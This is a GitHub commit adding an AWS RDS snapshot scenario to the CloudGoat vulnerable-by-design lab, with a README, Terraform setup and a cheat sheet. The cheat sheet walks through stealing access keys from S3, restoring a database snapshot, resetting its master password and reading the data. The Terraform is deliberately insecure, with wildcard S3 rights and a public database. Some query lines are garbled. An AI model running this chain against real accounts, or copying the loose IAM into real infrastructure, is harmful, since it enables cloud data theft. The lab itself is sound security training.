Skip to content

Commit

Permalink
This commit adds the AWS RDS Snapshot scenario to Cloudgoat.
Browse files Browse the repository at this point in the history
Authored-by: https://github.com/BoB12-C-G-V
Co-Authored-by: tt0kyu

Merges Pull Request: #239
  • Loading branch information
tt0kyu authored and jdearmas committed Dec 14, 2023
1 parent 1049b19 commit bd8a04e
Show file tree
Hide file tree
Showing 13 changed files with 518 additions and 0 deletions.
46 changes: 46 additions & 0 deletions scenarios/rds_snapshot/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Scenario: RDS_snapshot

**Size:** Small

**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create RDS_snapshot`

## Scenario Resources

* 1 VPC with:
* EC2 x 1
* S3 x 1
* RDS x 1
* 1 IAM Users

## Scenario Start(s)

1. IAM User "David"

## Scenario Goal(s)

Get the flags that are included in the RDS snapshot.

## Summary


Starting with access to EC2, the user can leverage the privileges of the EC2 instance to steal credentials from S3.

With the stolen credentials, the attacker can gain RDS Snapshot restore privileges, which will allow them to access the DB and retrieve flags.
## Exploitation Route(s)

![Scenario Route(s)](https://github.com/RhinoSecurityLabs/cloudgoat/assets/55736240/bff418b2-f656-4851-9f8d-00288c66e3fa)




## Route Walkthrough - IAM User “David”

1. the attacker gains access to the hijacked EC2 instance.
2. The attacker accesses S3 on the compromised EC2 instance and retrieves credentials.
3. The attacker uses the stolen credentials to locate and access the AWS Relational Database Service (RDS).
4. The attacker verifies that an RDS snapshot exists.
5. The attacker restores the RDS snapshot and hijacks the DB containing customer data (Flag).

A cheat sheet for this route is available [here](./cheat_sheet.md).
8 changes: 8 additions & 0 deletions scenarios/rds_snapshot/assets/insert_data.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
CREATE DATABASE mydatabase;
USE mydatabase;
CREATE TABLE flag (
id INT AUTO_INCREMENT PRIMARY KEY,
value VARCHAR(255) NOT NULL
);

INSERT INTO flag(value) VALUES ('flag{cg-secret-495624-205465}');
112 changes: 112 additions & 0 deletions scenarios/rds_snapshot/cheat_sheet.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
## Cheat Sheet


An attacker can gain access to a hijacked EC2 instance.


`cd RDS_Snapshot_cgid528tilly5h`


`ssh [email protected] -i ./cloudgoat`


```
[ubuntu@ip-172-31-20-221 ~]$
```


An attacker can list AWS credentials on the server (enumirate)


`aws sts get-caller-identity`


The attacker can check the permissions for the roles granted on EC2.


```
#Check the instance profiles
aws iam list-instance-profiles
aws iam list-role-policies --role-name cg-ec2-admin-role
aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy
```


The attacker sees that S3 is accessible and steals the credentials.
```
aws s3 ls
aws s3 cp s3://cloudgoat/access_keys.txt .
```
The attacker accesses the stolen credentials.
```
aws configure --profile david
```
The attacker checks the permissions of the stolen credentials.
```
aws iam get-user --profile david
aws iam list-user-policies --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --profile david
aws iam get-user-policy --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --policy-name cg-david-policy --profile david
# The attacker verifies that he has RDS-related privileges
```

The attacker restores the RDS snapshot.

```
#Verify the information in the RDS snapshot
aws rds describe-db-instances --profile david
aws rds describe-db-snapshots --db-instance-identifier cg-rds
#Restore the RDS snapshot
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier attack-rds \
--db-snapshot-identifier cg-rds-snapshot \
--db-subnet-group-name cg-db-subnet-group \
--vpc-security-group-ids sg-xxxxxxxxxxxxxxxxx \
--profile david
#Wait for a new instance to be created
#Modify the RDS instance password
aws rds modify-db-instance \
--db-instance-identifier attack-rds \
--master-user-password attack1234! \
--apply-immediately \
--profile david
#Verify the master username
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.1].1
"DBInstances[].MasterUsername" --profile david
#Determine the MySQL endpoint address
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.
"DBInstances[].Endpoint.Address" --profile david
```


The attacker accesses the restored DB and hijacks the FLAG.
```
mysql -h attack-rds.cxxxxxxxxxxx.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234!
show databases;
use mydatabase;
show tables;
select * from flag;
```
# Caveats
At the end of the scenario, the instance created by the Restore job is not deleted by ./cloudgoat.py destroy rds_snapshot. You need to delete it manually.
2 changes: 2 additions & 0 deletions scenarios/rds_snapshot/start.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/bash
ssh-keygen -b 4096 -t rsa -f ./cloudgoat -q -N ""
4 changes: 4 additions & 0 deletions scenarios/rds_snapshot/terraform/data_sources.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#AWS Account Id
data "aws_caller_identity" "aws-account-id" {

}
81 changes: 81 additions & 0 deletions scenarios/rds_snapshot/terraform/ec2.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
data "aws_ami" "ubuntu_image" {
owners = ["amazon"]
most_recent = true

filter {
name = "name"
values = ["ubuntu/images/hvm-ssd/ubuntu-*-amd64-server-*"]
}

filter {
name = "root-device-type"
values = ["ebs"]
}

filter {
name = "virtualization-type"
values = ["hvm"]
}
}

resource "aws_key_pair" "cg-ec2-key-pair" {
key_name = "cg-ec2-key-pair-${var.cgid}"
public_key = file(var.ssh-public-key-for-ec2)
}

resource "aws_iam_instance_profile" "cg-ec2-instance-profile" {
name = "cg-david_profile"
role = aws_iam_role.cg-ec2-admin-role.name
}

resource "aws_instance" "cg-ec2-instance" {
ami = data.aws_ami.ubuntu_image.id
instance_type = "t2.micro"
iam_instance_profile = aws_iam_instance_profile.cg-ec2-instance-profile.name
key_name = aws_key_pair.cg-ec2-key-pair.key_name
subnet_id = aws_subnet.cg-subnet-1.id
metadata_options {
http_endpoint = "enabled"
http_tokens = "required"
http_put_response_hop_limit = 1
}
vpc_security_group_ids = [
aws_security_group.cg-ec2-ssh-security-group.id,
]
tags = {
Name = "cg-david-${var.cgid}"
}

depends_on = [aws_db_instance.cg-rds-db_instance]

provisioner "file" {
source = "../assets/insert_data.sql"
destination = "/home/ubuntu/insert_data.sql"
connection {
type = "ssh"
user = "ubuntu"
private_key = file(var.ssh-private-key-for-ec2)
host = self.public_ip
}
}

provisioner "remote-exec" {
inline = [
"sudo apt-get update -y",
"sudo apt install python3-pip -y",
"pip3 install --upgrade pip",
"pip3 install awscli --upgrade --user",
"sudo apt-get install mysql-client -y",
"cd /home/ubuntu",
"mysql -h ${aws_db_instance.cg-rds-db_instance.address} -u ${var.rds-username} -p${var.rds-password} < /home/ubuntu/insert_data.sql",
"sudo rm /home/ubuntu/insert_data.sql"
]

connection {
type = "ssh"
user = "ubuntu"
private_key = file(var.ssh-private-key-for-ec2)
host = self.public_ip
}
}
}
77 changes: 77 additions & 0 deletions scenarios/rds_snapshot/terraform/iam.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
resource "aws_iam_user" "cg-david" {
name = "cg-rds-instance-user-${var.cgid}"
tags = {
Name = "cg-rds-instance-user-${var.cgid}"
}
}

resource "aws_iam_access_key" "cg-david" {
user = aws_iam_user.cg-david.name
}

resource "aws_iam_user_policy" "cg-david-policy" {
name = "cg-david-policy"
user = aws_iam_user.cg-david.name

policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"rds:DescribeDBInstances",
"rds:AddTagsToResource",
"rds:DescribeDBSnapshots",
"rds:RestoreDBInstanceFromDBSnapshot",
"rds:ModifyDBInstance",
"iam:Get*",
"iam:List*"
],
"Resource": "*"
}
]
}
EOF
}

resource "aws_iam_role" "cg-ec2-admin-role" {
name = "cg-ec2-admin-role"

assume_role_policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
EOF
}

resource "aws_iam_role_policy" "cg-ec2-admin-policy" {
name = "cg-ec2-admin-policy"
role = aws_iam_role.cg-ec2-admin-role.id

policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*",
"iam:List*",
"iam:Get*"
],
"Resource": "*"
}
]
}
EOF
}
11 changes: 11 additions & 0 deletions scenarios/rds_snapshot/terraform/output.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
output "ec2_IP"{
value = "${aws_instance.cg-ec2-instance.public_ip}"
}

output "ssh_command" {
value = "ssh -i ${var.cgid}/cloudgoat ubuntu@${aws_instance.cg-ec2-instance.public_ip}"
}

output "cloudgoat_output_aws_account_id" {
value = "${data.aws_caller_identity.aws-account-id.account_id}"
}
4 changes: 4 additions & 0 deletions scenarios/rds_snapshot/terraform/provider.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
provider "aws" {
profile = var.profile
region = var.region
}
33 changes: 33 additions & 0 deletions scenarios/rds_snapshot/terraform/rds.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
resource "aws_db_instance" "cg-rds-db_instance" {
allocated_storage = 20
engine = "mysql"
engine_version = "5.7"
instance_class = "db.t2.micro"
identifier = "cg-rds"
username = var.rds-username
password = var.rds-password
parameter_group_name = "default.mysql5.7"

skip_final_snapshot = true

db_subnet_group_name = aws_db_subnet_group.cg-db-subnet-group.name

vpc_security_group_ids = [aws_security_group.allow_mysql.id]

publicly_accessible = true

tags = {
Name = "cg-rds-db_instance-${var.cgid}"
}
}

resource "aws_db_snapshot" "cg-rds_snapshot" {
db_instance_identifier = aws_db_instance.cg-rds-db_instance.identifier
db_snapshot_identifier = "cg-rds-snapshot"

depends_on = [aws_instance.cg-ec2-instance]

tags = {
Name = "cg-rds_snapshot-${var.cgid}"
}
}
Loading

0 comments on commit bd8a04e

Please sign in to comment.